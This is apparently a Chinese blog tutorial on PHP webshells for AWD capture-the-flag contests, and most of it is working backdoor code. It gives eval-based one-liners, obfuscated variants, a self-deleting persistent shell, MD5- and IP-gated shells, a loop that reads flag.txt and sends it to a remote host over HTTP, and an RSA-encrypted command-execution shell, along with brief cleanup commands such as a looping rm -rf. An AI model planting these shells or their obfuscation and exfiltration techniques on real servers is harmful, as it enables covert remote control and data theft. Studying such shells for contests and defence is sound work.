经典一句话木马
最最常见的PHP木马,经典,但也满足不了我们的需求,很容易被大佬识破<?php @eval($_POST["cmd"]); ?>
混淆马:让木马内容难以识别
<?php assert($_POST[-7]); ?> 变换成<?php
@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';
@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
$_POST[0]($_POST[1]); 变换成<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); //
?>
不死马:
哪怕被发现也很难被清除<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('shell.php','<?php @eval($_POST["password"]);?>'); //创建shell.php
sleep(0); //间隔时间
}
对付这种木马,目前最有效的办法就是重启PHP服务器。
但在awd模式下,一般无权限,
可以通过不断复写shell.php来达到该木马难以被使用的效果。<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); // 后台运行
while(1)
{
file_put_contents('shell.php','11111111'); //创建shell.php
sleep(0);
}
也可以用bash命令,不断删除该木马文件while : ;do rm -rf xxx; done;
MD5验证木马:
比赛时有的队伍批量种马,但被攻击的服务却可以通过分析本地的木马,然后去连接其他服务器内的相同木马获取flag。
md5验证木马由此产生。防止其他队伍进行分析。<?php
if(md5($_GET['key1'])==="202cb962ac59075b964b07152d234b70")
{
@eval($_POST['key2']);
}
?>
接收key1的值进行MD5,然后比较,相同才执行key2的命令
IP验证木马:
MD5马相对普通马,安全性有了一定提升,但并不能完全杜绝其他队伍的利用。一些队伍可以在php页面内包含waf,抓取流量来获取木马的利用url,可以看到连接小马获取flag的参数。经过复现后,同样能获得flag。于是,我就自然而然的想到了识别ip的php马。<?php
$ip="x.x.x.x"; //自己的ip
if ($_SERVER['REMOTE_ADDR']===$ip)
{
@eval($_POST["cmd"]);
}
php回弹木马:
后来我又想到另外一种隐蔽的方式,让被攻击端主动发送flag到我的服务器,同时也只在后台悄悄的运行。<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); // 后台运行
unlink(__FILE__); //删除本文件
while(1){
$file="flag.txt"; //设定要读取的文件
$flag=file_get_contents($file);
//在自己的计算机上打开服务器,输入ip让其访问。并创建一个php记录访问的值,jiflag
$url="http://192.168.50.1/jilu.php?flag=".$flag;
$html=file_get_contents($url);
sleep(10);}
?>
RSA公钥加解密木马
服务器端的php木马负责接收攻击端的指令并执行,将执行结果公钥加密后发回,哪怕别人抓流量复现也只能得到加密后的结果。在此,我只给出服务端的php代码:<?php
class Rsa
{
public $private_key = '';
public $public_key = '-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFSrrcjL328bU+DpvsOm1R++GGa/
RuHLkGZvAXOF+iWp6oJQ00ekeCWo82jNz+5eyubr7Sz1WcBp0/u4pQQpts43G334
lP9/2xXAXU4dvqs/XPnFLaryp93u+AE3fTQbvq81OpqVwlYNA+vuXUzYxfCakU2l
qnEzo5bRNM0IL5ixAgMBAAE=
-----END PUBLIC KEY-----';
public $encrypted = '';
public $decrypted = "";
public $data = '';
public function init($file)
{
$this-> data = file_get_contents($file);
return $this->data;
}
public function encrypt($data)
{
openssl_public_encrypt($data,$encrypted,$this->public_key);//公钥加密
$encrypted = base64_encode($encrypted);
return $encrypted;
}
public function decrypt_cmd($c)
{
print $c;
openssl_public_decrypt(base64_decode($c),$decrypted,$this->public_key);//私钥加密的内容通过公钥可解密出来
echo "\n";
echo "public key decrypt:\n";
print $decrypted;
echo `$decrypted`;
#passthru($decrypted);
}
public function publicDecrypt($data, $publicKey)
{
openssl_public_decrypt($data, $decrypted, $publicKey);
return $decrypted;
}
}
function publicDecrypt($data, $publicKey)
{
openssl_public_decrypt($data, $decrypted, $publicKey);
return $decrypted;
}
@$i = $_GET['i'];
$rsa =new Rsa();
#1是直接读flag文件
if($i==1)
{
$flag_path="flag";
$data1=$rsa->init($flag_path);
#print $data1;
$data2=$rsa->encrypt($data1);
print $data2;
}
#2是执行命令
if($i==2)
{
@$c = $_GET['c'];
$cmd = base64_decode($cmd);
$a=`$cmd`;
$a2=$rsa->encrypt($a);
echo $a2;
}
?>
参考: